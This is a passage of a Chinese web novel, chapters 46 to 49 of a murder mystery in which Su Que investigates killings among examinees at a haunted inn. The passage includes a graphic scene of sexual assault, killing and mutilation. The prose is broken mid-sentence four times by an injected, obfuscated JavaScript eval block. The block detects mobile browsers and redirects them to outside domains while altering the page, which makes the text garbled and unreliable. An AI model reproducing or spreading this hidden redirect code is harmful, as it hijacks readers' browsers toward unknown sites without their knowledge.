段春音被这目光看得有些不安，但继续道：“但是阄儿却不是我写的，是……是李共川。我当时只觉得有人帮忙挺好……” 李共川…… 苏却记得他是一个看起来非常年轻，总是听别人说，自己很少开口的男子。 她不动声色，继续问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478825|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“我还有最后两个问题。你昨晚住的房间，具体在哪个位置？还有，你是否知道，李共川的房间在哪？” 段春音的手在空中比画了一下，思索片刻后道：“我的房间……是上了二楼之后，右手边，往里数的第六间。李共川……他好像是在左手边那一侧，但具体是哪一间，我没太留意实在抱歉。” “好的，多谢。”苏却利落地起身，不再多言，径直出门。 楼梯上去的右侧，便是正对楼梯口的那侧。 苏却在那侧，范月楼和万夜空也在那侧。 从段春音的书斋离开，沿着廊道继续往前走，依次分别是秦玉奇、叶别风、张山起，以及……李共川的房间。 苏却放慢脚步，一间一间地看过去的时候，正巧叶别风从里面出来，手中拿着写好的策论，准备投入门外的木箱。 他的脸颊依旧有些红肿，嘴角的伤口结了痂，使得他原本温润的面容添了几分狼狈。 他看到苏却，微微怔了一下，随即还是礼貌地点头致意。 苏却深深看了一眼叶别风，迎着他的目光，一言不发地，走进了他的书斋。 叶别风看着她的背影，在原地停顿了一瞬，随后也转身跟了进去。 还没等苏却坐下，叶别风就先迫不及待地开口问道：“苏兄弟可是为了自己的友人宋停来的？” 他的语气似乎早已预料到苏却会为此事找他。 苏却缓缓转过身，面对着他，反问：“是又如何？不是又如何？” 叶别风的表情在那一刻显得哀伤且无力，他并没有看向苏却，而是将目光投向门外的天空，声音低沉：“我……真的……很抱歉。家中，家族中的很多事，我，并不知情……想必宋兄弟背后的憾事已然发生，我……不知是否还可以弥补，能做些什么……我……我……真的很想……我……” 他的声音到这里，竟隐隐带上了哭腔，后面的话也没能再说下去，只是化作了一声轻轻的叹息。 苏却缓缓摇了摇头。 她来这里，并非是为了听他家族的污秽往事。 她目光沉静地看着叶别风，道：“对你，我只有一个问题要问。” 叶别风深吸了一口气，转过身，正面迎向苏却的目光，脸上恢复了镇定，道：“请问，但说无妨。” 苏却盯着他的眼睛，一字一顿地问道： “你是否知道，有一件贡品，叫作吞金神蟾？” 就在她话音刚落的瞬间。 “铛——！” 钟声震响，穿透书斋，席卷了整个书院，吞噬了寂静。 撰文时辰结束，互学时间开始。 外面廊道上，脚步声和说话声渐渐多了起来。 他没有立刻回答，而是在钟声的余韵渐渐消散时，才缓缓开口。 “知道。” 他肯定地回答，目光与苏却对视着，没有丝毫闪躲：“但仅略知一二，它是宫廷秘宝，却屡生波澜，背后……有很多故事……” 他微微停顿后，问道： “你，想要从哪一部分开始听？” 46. 赴考（八） 赴考（八） 苏却自然是决意要探明那吞金神蟾一物的渊源始末，从其如何现世，到因何流落。 其间种种因果牵缠，她皆要听得清清楚楚明明白白。 叶别风神情复杂：“此事牵扯甚广，更涉及皇室秘辛，非同小可。” 他走到书斋门口，向外望了一眼，确认廊道上暂时无人靠近，才退回室内，关上书斋小门：“据我所知，当年凡是详知内情之人，大多……都已不在人世。我所听闻的，也不过是些零碎片段，是家族长辈偶尔提及，或是从某些记载中窥得一斑，拼凑而来，未必全然准确。” “彼时，西域有一小国，国力微弱，四周强国林立，故边境时有纷争，但却能在列强夹缝中得以生存，传闻便是因为他们拥有一件镇国之宝吞金神蟾。据说，此宝有汇聚财气，稳固国运之能。” 他顿了顿，语气悠远，带着惋惜：“然而，此宝，遗失了。失去了神蟾庇佑，那小国很快便在风雨飘摇中灭亡，国土被瓜分殆尽，其王室血脉也尽数断绝。” “而后，过了许多年，此宝竟再次现世。这一次，它作为贡品被另一个意图向我朝示好的臣服小国献上的。贡品入朝，本是彰显天威，稳定边疆的大好之事。可谁能料到……运送贡品的队伍，在途中遭遇了意外，那吞金神蟾再次遗失了。结果，龙颜震怒。贡品遗失，是藐视天威的大罪。相关押运之人，连同献宝的那一小国，自然都难逃灭顶之灾。据说，牵连者众，血流成河。” 这一段与之前任世楚告知他们的经历相差不多，看来他也并不是所言皆虚。 “后来，几经周折，那吞金神蟾似乎又被寻回，安稳了几十年。”叶别风说到这里，轻轻叹了口气，“然而，传言，此宝又一次遗失了。但这一次，消息被捂得极严，真相扑朔迷离。” 他看着苏却：“至于此物现在具体在何处，无人得知。私下里有说早已秘密寻回，被锁在国库最深处，由重兵把守；也有传闻，说一直未曾找到，陛下暗中派出了无数人手，明察暗访；还有说法，称其流落民间，被不知情者私藏，暗自喂养……” 叶别风仅仅用这么几句话，就将这宝物背后数十甚至上百年的波谲云诡与权力更迭描述了个大概。 苏却听得明明白白，这字字句句里，每一次遗失与寻回的背后，恐怕都是尸山血海，是无数人的身家性命。 因为这只神蟾，已有两个国家就此灭亡。 当时，又会有多少场同她儿时一般那样大的火，烈火连绵，数日不绝…… 可，只有无能的帝王，才会将一国的命运，寄托在这样一件虚无缥缈来历不明的宝物之上。 只有行不正之事的人，才会想着通过杀人灭口，来掩盖自己的过错。 此行收获已经足够，苏却点头谢过，正准备离开，叶别风拉住了她。 “苏兄弟，请留步。”他的模样，根本不像是个矜贵的京城少爷，一脸的担忧与无力，语气已经近乎哀求，“虽然我知晓大家从这里离开后，就不会记得此间之事，但我仍希望你切莫将吞金神蟾之事告知他人。毕竟此物牵扯太大，是皇室不愿提及的暗疮隐疾。知道得越多，便越危险。逆天而行，怕是万劫不复。我……我不希望看到你们因此惹上杀身之祸。” 苏却沉默片刻，点了点头，平淡回道：“多谢提醒。” 廊道上的人比刚才钟声响后又少了一些，现下应该都差不多找到了想见的人，在聊想聊的事。 张山起正站在门口不远处，等着见叶别风，见苏却出来，匆忙擦肩而过，进了叶别风的书斋。 原定苏却还要去找李长宥，但又想见见李共川，行至李共川书斋门口，发现并无人在内。 上楼后一间间看过去，华子唐那间的门已经被关上，大家都是普通人，谁也不可能来来往往时看见一个惨死的尸体趴在那还能无动于衷的，关上也正常。 李长宥不知是哪一间，也没看见他人，不知道去找了谁。 而且苏却想了想，自己遇到过章世昌，怕已经算了三个人。 她不想在规则边缘冒险，便决定先返回自己的书斋。 推开门，只见宋停靠墙坐着，闭着眼睛，似乎是在休息。 听到开门声，他眼皮动了动，却没有立刻睁开，只是懒洋洋地挪了挪身子，让出通向桌案的位置，慵懒道：“有人来找过你。” 苏却反手关上门，在桌案后的蒲团上坐下，问道：“谁？” 宋停顿了顿，似乎在斟酌一个合适的词，然后才道：“不知道名字。但他……长得十分漂亮。” “漂亮”二字，格外用力。 李长宥？ 那倒是更不凑巧了，自己刚去找他，他却来了这里。 “他有说什么事吗？”苏却问。 “没有。”宋停摇了摇头，终于睁开眼看向苏却，“他只说，希望有机会能和你单独谈一谈。” 说完，他用手撑着地面，努力坐直了些身子，问道：“这里，究竟发生了什么事？我醒来后，总感觉他们看我们的眼神，很不对。” 苏却本想开口说明一下现在的情况。 “铛——” 这是在书院的最后一个钟声了，互学已结束，接下来，便是安静等待书院先生批阅策论，然后发放命筹。 书斋内外都陷入了寂静，所有人都在屏息等待。 没过多久，一阵轻微动静从门缝传来。 一张字条，被人从外面塞了进来。 苏却立刻起身，快步走到门边，捡起那张字条。 展开，目光落在上面的图案上，她的眉头瞬间紧紧皱了起来。 看清后，字条一如既往无火自燃，顷刻间化为一小撮灰烬，落在地上。 苏却猛地拉开门，然而，廊道里空荡荡的，一个人也没有。 宋停也扶着墙壁站了起来，看着苏却凝重的脸色和地上的灰烬，问道：“上面写着什么？” “画着一个图案。”苏却摇了摇头，眉头依旧紧锁，对宋停道，“先走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16486219|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧，回客栈。路上说。我需要再回去仔细看看死在客栈的那两个人。” “什么？”宋停面露惊愕，难以置信地看向苏却，“已经死了两个了？这么快？！” “是三个。”苏却上前一步挨着宋停，伸出手，示意宋停可以扶着自己，“我们边走边说。” 回客栈的路，与早晨来时被浓雾笼罩的情形截然不同。 此刻雾气散尽，天光虽然不算明媚，但也足以让人看清周围的景象。 路两旁，并非预想中的市井街巷或是田园风光，而是一片荒芜的郊野。 枯黄的杂草高及人腰，在风中抖动，发出稀里哗啦的动静。远处是光秃秃的山峦，毫无生气。 更令人不适的是，沿着这条路走一段后，路旁竟出现了一片乱坟场。 歪歪斜斜墓碑杂乱地矗立在荒草之中，有些坟冢甚至已经塌陷，露出黑洞洞的缺口，偶尔可见森白的骨头碎片散落其间。 “啧，”宋停一边走，一边打量，忍不住道，“这些个鬼地方，也不知道是谁找的，专挑这种鸟不拉屎的风水宝地。是怕我们死了没地方埋吗？” 苏却没理会他，只是言简意赅地将昨晚至今发生的事情告诉了他。 当他们终于看到客栈时，客栈的门刚好缓缓打开。 两人走到门口，竟正好与要出来的掌柜打了个照面。 一贯刻板寡言的掌柜，竟然阴森地笑着，问候了一句：“回来了。” 这三个字平平无奇，却让人脊背发凉。 宋停目光在他脸上扫过，没有回答，只是赶紧进去，吃力地跟上已经走向楼梯的苏却。 苏却脚步很快，径直上了二楼，先推开了范月楼那扇位于楼梯口的房门。 然而，房间内已经被收拾过了。 床榻上血泊依然在，但是范月楼的尸体已经不见了踪影。 宋停好不容易跟上来，扶着门框喘了口气，看着空荡荡的房间，和就要往外走的苏却，问道：“不再仔细看看吗？或许还有遗漏的线索。” 苏却回头看了一眼血迹和空的床榻，眼神冷厉，缓缓摇头：“已经完全被破坏了。即便还有痕迹，恐怕也都是之后留下的。再看，毫无意义。” 她的脑海中闪过清晨众人离开客栈时的混乱场景。 当时，是谁走在最后面来着？ “所以……” 宋停靠在门框上，仿佛读出了苏却的心思，开口道，“你是怀疑，杀人者，就在他们这十九个人……哦不，已经死了的不能算在内，那就是在他们十六人当中？” “嗯。” “是。” 几乎是同时，两道声音一起响起。 一道来自苏却。 另一道，来自他们身后。 来自不知何时悄然出现在楼梯口的李长宥。 他站在那里，身形修长，容貌依旧惊艳，一双眸子如池水，弥漫出来的，却是一股淡淡的死气，就好像，他是个不存在于人世一般的人。 47. 赴考（九） 赴考（九） 其实在一大早得知范、万二人死讯时，苏却心中便已萌生怀疑。 宋停曾经问她：如最后所有人都死了，只剩一个人的时候，这个人是死，还是活？ 苏却当时并没有回答。 并非不知如何回答。 而是知道此地虽然杀机四伏险境重重，但依然还有生路可循。 只是要各凭本事，看能不能找到这条生路。 此间目的若仅是屠戮殆尽，以诡闻当铺的林老板展现出的实力，碾碎他们，简直易如反掌，根本无需如此大费周章地布下层层迷局，限定行动规则，给予破局时间…… 所以，不能寄希望于自己足够幸运，去成为幸存者，而是必须看破真相，主动成为破局者。 既然要让人发现真相，就必会留下线索。 回顾前事，死亡之人无非两种： 或死于规则，或死于人心。 规则有迹可循，可人心难测。 若真是触犯规则而死，为何不死在众目睽睽之下，那样岂非更能起到震慑众人强化权威的作用？ 为何要选择在夜深人静无人目睹的时刻悄然动手？ 事后甚至还处理了尸身。 这般鬼祟，分明是在刻意隐瞒什么。 这让她不由想起吕初郎之死，同样未见尸体，现场同样可疑。 当初只推测是周远至或客栈所为，后来也证实客栈确有问题。 可这一次，两人并非死于客栈动用幻境杀人之时。 那么，一定是，人，杀的人。 行凶之人一定在他们之中。 这个想法，在看到华子唐的死状时曾有过动摇，但既然找不到任何一条规则能解释他们三人死法。 那么，即便再不可思议，也成了唯一的可能。 手法如何，已不重要。 眼下最关键的，是弄清那个为什么。 为什么要杀他们？他的目的是什么？是随机选择，还是有特定的目标？ 苏却盯着自己面前几步之遥的李长宥看了许久，半晌才道：“其他人快回来了，人多眼杂，不是说话的地方。去你房间说。” 可没想到，李长宥竟然直接上前几步，伸手推开了他们身侧的门，也就是范月楼房间对面的大门，淡然道：“进来吧。” 他竟然就住在死者的正对面！ 进房间后，苏却第一眼就看了床，枕头在，睡没睡过就不得而知了。 其他物件和苏却房里都是一致的，一柜，一床，一凳，一桌，除此之外，别无长物。 李长宥坐在了床边，苏却和宋停坐在了长凳上。 李长宥端详了一下面色极差也无甚气力的宋停，道：“苏公子，你这位友人真的不需要先去休息吗？” 宋停挥了挥手，道：“没事没事我命硬，我还好。” 苏却便直截了当地问道：“你在互学的时候，特意来找我，是要和我说什么？” “想聊一聊，关于我们进入客栈之前，所有人都抽取过的那张纸条。”他略微停顿，像是在观察苏却的反应，然后继续解释道，“当时在明伦堂，叶别风提到纸条时，我几乎观察了在场每一个人的表情。只有你与众不同，不急不躁，不慌不忙，眼神里没有恐惧，平静得可怕。” 他双手支在床边，微微后仰，轻缓而自然地道：“我想，像你这样的人，最好能成为同伴，而不是对手。所以，我一直想寻找一个合适的机会，与你单独谈谈。方才见你们二人先人一步走在前面，我便悄然跟了上来，果然不出我所料。” 他的语气平平，仿佛鬼鬼祟祟地在后面跟踪，是一件稀松平常的事情。 苏却闻言，下意识地侧头，与坐在身旁的宋停交换了一个眼神。 她试探道：“那……听你此言，你也是早就发现了那纸条上的不同寻常之处了吗？” “并没有。”李长宥的回答得干脆，微微摇了摇头道，“当时在客栈门口拿到，我只一瞬觉得奇怪，未曾深想。” “所以，”他话锋一转，“我就将我的图案，告诉了别人。” “什么？！”苏却很罕见地瞪了双眼，震惊良久。 他竟然如此轻率主动，将这可能关乎性命的内容说了出去？ 但李长宥显然没放在心上，还反过来面无表情地安慰苏却：“没关系的，你不必如此惊讶。我有把握，我不会出事。” 苏却凝视着李长宥的脸，心中一时波澜起伏。 一方面她觉得，这样一张堪称绝色的面容，却总是面无表情，实在是暴殄天物。 另一方面，她对此人的判断，有失偏颇，与最初因其细致入微而留下的印象，有了很大的不同。 还有，究竟是什么样的人，能让他如此毫无保留地信任？ 总不至于……他告知的对象，也是那位叶别风吧？ 李长宥自顾自地继续说下去：“正因为我亲身经历了，却仍安然无恙，所以，对于那些猜测，我已经懒得再讨论说明。”他目移，落在了坐宋停身上，“反而，你这位友人方才在门口提出的那个想法，我觉得，极有可能接近真相。” 苏却问出了另一个至关重要的问题：“那你是什么时候知道，你对面的范月楼已经死了？” “今天早上，我先是被门外的敲门声和尖叫声吵醒。几乎是同时，一股浓烈的血腥味，就已经透过门缝钻了进来。我心想不好，便立刻开门，然后……就看到了对面那扇大开的房门，范月楼躺在床上，周围都是血，还有一个疯狂在廊间敲门呼救的人。” “这是我今天白天，利用空闲尽可能还原画下来的。”李长宥说着，从自己的衣袍中掏出了几张折叠的纸张，小心翼翼地将其展开，问道，“要一起看看吗？” 苏却起身过去，坐在李长宥身旁，手却暗暗地碰了碰自己收着的匕首。 既然已经有了推测，防人之心，自然也不可少。 宋停只是伸了伸脖子，但也已经能够看得到大致内容。 那纸上并非潦草图案。 墨迹淋漓间，赫然是那几个死者的最后形貌。 前几张，是仰面躺在床上的范月楼。 他满脸的惊恐，致命伤在何处实在难以判断，因为他几乎浑身都如浸在血液里一般。 四溅的墨点代表着惨不忍睹的房间，李长宥还在他身上还标注了一些伤口的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16501019|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致位置，并附了简短的文字进行了说明。 随后几张，属于万夜空。 内容更是惊人。 第一张，是一个无脸之人，跪在万夜空两侧，俯着身，双手死死掐住他的脖子。 下一张，是万夜空的脖子被掐住的样子，看手的位置，与早上苏却看到的大小、位置几乎差不多。 第三张，是万夜空的手指抠在床边，留下的抓痕与指甲里的木屑。 第四张，是一张空白的脸，仿佛正对着画外的苏却，无声凝视。 华子唐的，只画了两张。 一张看起来应该是华子唐那间书斋内部的简易图，用简单的线勾出书桌、蒲团的位置，并重点标注了尸体伏案的具体方位和姿态。 另一张上面依然是一个无脸之人，跪立于华子唐身后，手拿利刃，对准的，正是华子唐的脖颈…… 宋停打了个寒战，抬眼正好与苏却对视。 李长宥这是……在尝试还原杀人现场，还是，他只是记录自己杀人的过程？ 如果真的是他，那现在的苏却，是不是就是他的下一个目标呢？ 苏却手中已经暗自握紧了匕首，全身紧绷。 不管他接下来是冲着自己，还是宋停，她都要在瞬间掌握住局势，绝不能…… 见苏却宋停二人看完画后均是一脸沉默，李长宥开口问道：“如何，苏公子，与你心中想的画面是否有所出入？” 苏却一动不动：“你……画得很好，栩栩如生。” 李长宥轻轻一勾嘴角：“过奖了，平时画得多，唯手熟耳。” “你，是画师？”苏却问道。 李长宥脸上的笑意总算深了一点，自嘲道：“苏公子抬举了。我不过一介以画谋生的微末之人，无甚特别，只画些时兴话本、春宫图、花鸟鱼虫，但求糊口，无所不画。” 怪不得。 苏却心中暂时松了一口气，但依然警惕。 就在这时，客栈楼下传来众人回来的动静，由远及近，愈渐清晰。 李长宥的房间就在楼梯口，如果晚一点出去被他人看见，恐怕又会有许多说不清辩不明的口舌是非，必须尽快结束离开。 苏却对着李长宥，语速加快了几分，道：“我需要你帮我个忙，麻烦你接下来尽可能记下现在所有回来的人，确认他们的面孔，以及他们各自对应的房间位置，如果还能有昨天晚上你们讨论、抓阄、争吵之时的一些画面和细节就更好，我现在要先离开，出去找个人。” 李长宥没有迟疑，干脆利落地应道：“好。” 但他随即抬起眼，追问道：“你要去找谁？” 苏却和宋停已经站起身，准备离开。 听到问话，她头也没回，如实答道：“李共川。” 然而，就在苏却即将拉开房门的瞬间，身后传来了李长宥平静的声音。 那声音不大，却似惊雷，让她的手僵在了半空中。 “你要问他什么，也都可以问我。” 李长宥依然坐在床边，手里收拾着刚刚看过的那几张画纸。 三人间，只剩下了纸张摩擦的声音。 “因为他是我弟弟。” 48. 赴考（十） 赴考（十） 李共川与李长宥，这两个看似普通的名字，竟是兄弟？ 这突如其来的关联，令苏却方稍松懈的心神，再度紧绷。 因为抓阄分房这件事，苏却暂时怀疑了李共川，虽然没有其他证据，但目前也没有更多的线索。 可若是按照李长宥所说的，他把纸条的内容告诉了李共川，李共川立马就能觉察二人的纸条内容并不一致。 同时，李长宥要是同时也知道李共川的不同之处，二人合作相互帮衬，不要说杀一个范月楼一个万夜空，合力杀华子唐的可能性都高了许多。 但她心中惊悸，只持续了瞬息。 她手臂在身侧不着痕迹地一引，扣住宋停手腕，声音压得极低，短促而有力：“先走。” 两人步伐一致，迅速离开了李长宥的房间门口。 外面天色已是昏沉，客栈内也暗了不少。 他们沿着廊道，向着位于尽头的房间走去。 身后的楼梯方向传来了脚步声、说话声和木头的吱嘎声。 苏却并没有回头。 最为突出的，是一道尾音上扬的尖声细语。 声音的主人，是章世昌无疑。 他正对着身旁的同行者喋喋不休，用着浮夸的语调，试图钩住对方的注意力。 他本就生得瘦削单薄弱不禁风，行为举止油腻猥琐却又想引人关注，便愈发显得可鄙。 像极了一只被拔光了羽毛，却仍拼命抖动身子的公鸡。 宋停并不知这个插曲，听苏却简单说明后，不屑道：“这地方，还真是什么人都能碰上。” 苏却也不太能理解这样的人，明明身处步步杀机之绝境，竟还有人能将所剩无几的心力，耗费在那些龌龊不堪的念头上。 回到房间，苏却反手将门虚掩，并未完全合拢，留下了一道约莫两指宽的缝隙。 她侧身立于门后，将大半个身子隐匿在阴影里，透过那道狭窄的门缝，监视着外面廊道上的风吹草动。 宋停走到床榻边坐下，看着苏却这副全然戒备的姿态，问道：“你还是怀疑李长宥？” 苏却的目光依旧牢牢锁在门外。 闻言，她头也未侧，声音低沉漠然，道：“他有什么值得我信任的？几句听起来坦诚的话？还是他仿佛亲眼目睹一般的精妙画技？” “按我之前的判断，我们二十人中，应无人相识，并且在各种交谈介绍中，似乎也没人提及他们是兄弟这件事。这件事本身，就已经非常可疑。”她停顿了一下，声音压得更低，道，“而且这兄弟二人，表面看来并无太多互动，但在此时，李长宥主动接近透露信息，又坦言自己泄密却安然无恙，谁能保证，这不是一种伪装？” 宋停皱眉，不确定道：“他想套出你纸条上的内容？” “或许吧。”苏却看着廊道上走着的那个面容眉眼都与李长宥丝毫没有一点相似的李共川，推测道，“也可能是想让我放松警惕，除掉我。” 苏却语气平稳，宋停遂不再多言。 以往他们所有人的目标都是同一个，活着离开这里。 可现在，命中的暗箭，就来自他们中间。 苏却能相信的，除了自己，就只剩这个局外人宋停。 廊道上，归来的人渐渐密集起来。 关于范月楼和万夜空尸体不翼而飞的议论，虽然被刻意压低，却依旧难掩众人的疑惑与恐惧。 然而，那张日程表上明确写了“居栈，禁行”。 此四字，如同无形的枷锁，禁锢着每个人的行动。 死亡的威胁近在咫尺，使得众人只能将渺茫的希望寄托于未知的明日。 于是不过片刻功夫，廊道迅速重归寂静，空空荡荡，只剩下门上透出的昏黄光亮。 所有人都以为，再有情况，估计也是明日清早了。 然第四位死者的出现，比最坏的预估更为猝不及防。 当时，苏却见廊上无人，刚关上门，门口就响起了敲门声。 苏却第一时间打开门，廊道上却空无一人，只有房门口的地面上，不知何时，放着一小托盘食物，是一碗饭、一个馒头、一壶水和两小碟毫无油水的素菜。 她抬头，目光扫过廊道两侧。 但见凡有住客的房门前，皆置有这样一个完全相同的托盘。 唯苏却隔壁连续两间，与最顶头那间的房间门口空空荡荡。 原来华子唐就住在万夜空的隔壁。 苏却心中瞬间明了。 怪不得华子唐早上对她敌意那么大。 不让别人怀疑最好的方法就是主动怀疑别人。 她没有在门口过多停留，弯腰端起了那个托盘，迅速退回房内，再次将门虚掩。 将托盘放在屋内唯一的木桌上，她先掰开了那个还算松软温热的馒头，塞了几筷子素菜进去后，递给宋停，自己拿起那碗米饭，沉默地开始进食。 宋停也支撑着身子，小口小口地啃咬起馒头来。 食物的味道淡而无味，味同嚼蜡，但在此刻，无人也无心去计较这些。 两人之间没有任何言语交流。 可才吃了几口，一些细微的声响，隐隐约约地飘了过来。 沉闷的碰撞声、轻微的挣扎声、压抑的呜咽声…… 然后没多久…… “啊——！！！” 一声刺耳尖叫划破寂静。 一扇扇房门被拉开一条或宽或窄的缝隙，门后露出一张张惊骇的脸孔。 有人探出半个脑袋张望，有人急促地向隔壁询问，但所有人都被日程的规则和接连不断的死亡牢牢钉在原地，竟无一人有勇气迈出房门。 只有苏却。 她几乎在瞬间，直奔向那一扇虽亮着灯，却未曾打开门的房间所在。 没有丝毫犹豫，她一脚踹开木门。 “砰——！” 门板应声向内震开。 只见房间内，段春音浑身是血，瘫软在地，背脊死死抵着床边，整个人无法控制地颤抖着。 她的衣衫被暴力撕扯得七零八落，仅能勉强蔽体，裸露在外的肌肤上布满了青紫色掐痕，胡乱的抓痕，甚至还有牙齿啃咬留下的痕迹。 她的脸上交错着泪痕，嘴角破裂，渗着血丝，一边脸颊高高肿起，脖颈上有一道利器划伤的口子，血液还未完全干透。 她的目光没有焦点，整个人仿佛灵魂已经离体，只剩下一个空壳。 在她身旁不远处，章世昌倒在地上，双目圆睁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552522|182496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他上半身近乎完全赤裸，裤子被褪到了膝弯处，而他双腿之间，是一大滩粘稠的血液。 那团令人作呕的肉块，被丢在门边。 而在他的心口位置，一柄小刀深深地没入了他的胸腔，只留下一个刀柄在外，伤口周围的衣物被血液彻底浸透，颜色深得发黑。 叶别风就住在段春音的斜对门，他是继苏却之后第二个赶到现场的人。 当他冲进房间，视线触及屋内这血腥且不堪入目的场景时，也不由得脸色煞白，呼吸一窒，一时失语。 紧接着，张山起、李长宥等几人，也先后赶到了。 更多的人则只敢站在自己的房门口，伸长了脖子，看向这一边。 苏却几步跨入房间内，扯下床榻上的被子，动作利落地将段春音整个包裹住，遮住她的身体。 杨季野就住在段春音对面，站在门口看清状况后，脸上是毫不掩饰的快意神情，冲着尸身方向狠狠地啐了一口，道：“死得好，天道轮回，他就该死，□□吃了脑髓满身爬，不死实在太便宜他。” 苏却本欲再查看一番，但是段春音哆哆嗦嗦地用尽了全身力气攥住了苏却的衣角，艰难地抬眼看向苏却，巨大的恐惧和劫后余生的委屈，让她眼泪瞬间决堤，混合着脸上的污迹和血痕，大颗大颗地滚落，砸在手中，似乎要洗去她手上的血污。 她松开手，向前爬了几步，一把拔出插在章世昌心口的小刀，紧紧握在手中后举起来给苏却看，一边短促地喘着气，一边断断续续解释道：“……是……我，是我，是我杀了他，是他……拿着刀，要我……他逼我……他要撕我衣服……我趁他脱衣服……抢了刀……我捅死了他……他……我……” 她声音破碎，泪光闪烁，哀恳道：“……求……求你，救救我……我不是故意的……我真的不是故意的……他逼我的……” 苏却蹲下身，目光与段春音齐平。 她伸出手，一根一根地，掰开了段春音的手指，取下了她手中那柄沾满血迹的小刀。 “今晚你去睡最里面那间，我去住空的。”她看向段春音道。 人群中，女子倒是来了两位，仿佛是叫关记秋和戚时晴，应该就住在段春音附近。 听得苏却如是说，她们便进屋帮忙。 看见房内的场景，她们亦是被吓到不敢言语，满眼惊恐。 但还是小心翼翼地搀扶起几乎完全虚脱的段春音，连着裹在她身上的被子，半扶半抱地，带着这个可怜女子，向着苏却原本的房间挪去。 随后，苏却起身看了看一直站在屋里屋外，始终未敢上前的几个人，“走吧，没啥好看的了。” 叶别风向她行了一礼，以示感激与尊重，也是对自己无能为力的弥补。 当她经过立于门边的李长宥身前时，李长宥垂在身侧的手臂动了一下。 一张写满了字迹的纸，被隐蔽地塞进了苏却怀中。 与此同时，李长宥的声音，在她耳边响起，却只有他们二人听得见。 “这段春音，是凶手吧。” 这不是一个疑问。 苏却向外的脚步没有丝毫的停顿。 纸也不知何时已经被妥善收起。 她只留了一个简短的回答。 “嗯。” 49. 赴考（十一） 赴考（十一） 若换作苏却是段春音，早在章世昌第一次将那只不规矩的手试探着伸过来时，她便会毫不犹豫地拧断他的腕骨。 叫他这辈子再也不敢，也不能，再对女子生出半分亵渎之心。 绝无可能像段春音起初那般，一味隐忍退让，生生助长了那厮的色胆。 苏却沉默地跟在她们身后，目光落在被搀扶着的背影上，心底掠过一丝惋惜。 惋惜这样一个被逼入绝境的女子，却在最后这一步，被苏却发觉了。 段春音的的确确是一个遭受无妄之灾的可怜人。 平白被这等龌龊之徒纠缠、逼迫，面对突如其来的侵犯，她的无助、惊惶、委屈，乃至最终崩溃下的激烈反抗，一切情绪与反应，都合乎常理。 人群中也不乏杨季野这样的人，曾经站出来帮助她，希望她免遭侵扰。 而那章世昌，行此卑劣之事，落得如此下场，确也是罪有应得，千刀万剐亦不为过。 然而，苏却看得分明。 段春音绝非被迫自卫，失手杀人。 她，是故意杀的章世昌。 没有人会在慌乱自卫时，不要奸人狗命，还想着只是便宜地阉割了他。 更无一个失手杀人者，会冷眼旁观其满脸惊恐，慢慢倒下，直至咽气，再将心口利刃拔出，阉割，将此污秽之物弃如敝屣，行完泄愤之举后，还要将凶器插回。 促使她从一个忍气吞声的受害者，骤然转变为杀人者的契机，恐怕，就是那张纸条。 因为，她成为了凶手。 因为，她不杀人，她就会死。 既然横竖都是一死，何不放手一搏。 而这，恐怕便是此番事件背后的真相。 他们二十人，是作为书院同窗，不日即将赴考才聚集于此。 可，他们表面上是同窗，实则暗藏杀机。 其中，有必须杀死共同参试的对手，才能存活下去的凶犯。 起初，苏却虽觉上头仅有一本书册图案的纸条有些怪异，但仅凭一个图案，她也无法推断出更多。 甚至一度猜测，关键线索是否隐藏在抄写的书册内容或是策论内容之中。 直到，她拿到了第二张纸条。 那上面，是一面长着尖刺的盾牌。 第一眼瞥见时，她并没有意识到这个图案代表着什么。 然而，电光石火间，之前盘桓在心头的诸多疑问，豁然开朗。 书本图案，即为普通学子，也可能是潜在的被害者。 而她现在手中的盾牌，则是一种全新的身份，按照图案的表层意思理解，即为一个同时具有防御与攻击之人，大概是人不犯我，我不犯人。 再结合那潜藏于众人之中且必须行凶的人，不难推断，纸条上的图案，至少存在三种，甚至更多，分别对应着不同的身份与规则。 据此推论，再反观她之前的种种怀疑，一切似乎都变得合理起来。 